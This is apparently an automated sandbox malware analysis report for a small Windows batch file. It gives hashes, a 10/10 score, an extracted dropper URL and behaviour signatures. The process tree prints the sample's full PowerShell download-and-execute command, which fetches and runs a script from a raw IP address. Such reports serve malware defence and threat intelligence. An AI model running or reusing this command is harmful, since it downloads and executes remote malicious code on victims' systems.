Analysis
-
max time kernel
16s -
max time network
56s -
platform
windows7_x64 -
resource
win7 -
submitted
14-09-2020 20:10
Static task
static1
Behavioral task
behavioral1
Sample
57948d7f2e776c683d1bec54a461ce1d.bat
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
57948d7f2e776c683d1bec54a461ce1d.bat
Resource
win10v200722
windows10_x64
0 signatures
0 seconds
General
-
Target
57948d7f2e776c683d1bec54a461ce1d.bat
-
Size
220B
-
MD5
f639a0fd02a603ce76b6024956fdc25b
-
SHA1
783590b7e2a89acb69468ac3ece79f3bcf9b6137
-
SHA256
63c63bb4f93c338d10395291b9b6255eb0d16250de46491f572a20284da5a007
-
SHA512
7ff6c69a22632f4adc6dae824d095714bebbe45023f7a961c293a0faa472063b8965c183442977ba54453154d02dade43d2d7c3dd2234bf97e27b1422e81e4bb
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/57948d7f2e776c683d1bec54a461ce1d
Signatures
-
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 5 1512 powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 1512 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1512 powershell.exe 1512 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1512 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 112 wrote to memory of 1512 112 cmd.exe powershell.exe PID 112 wrote to memory of 1512 112 cmd.exe powershell.exe PID 112 wrote to memory of 1512 112 cmd.exe powershell.exe PID 112 wrote to memory of 1512 112 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\57948d7f2e776c683d1bec54a461ce1d.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:112 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/57948d7f2e776c683d1bec54a461ce1d');Invoke-PIVMPOWJJSPSJ;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1512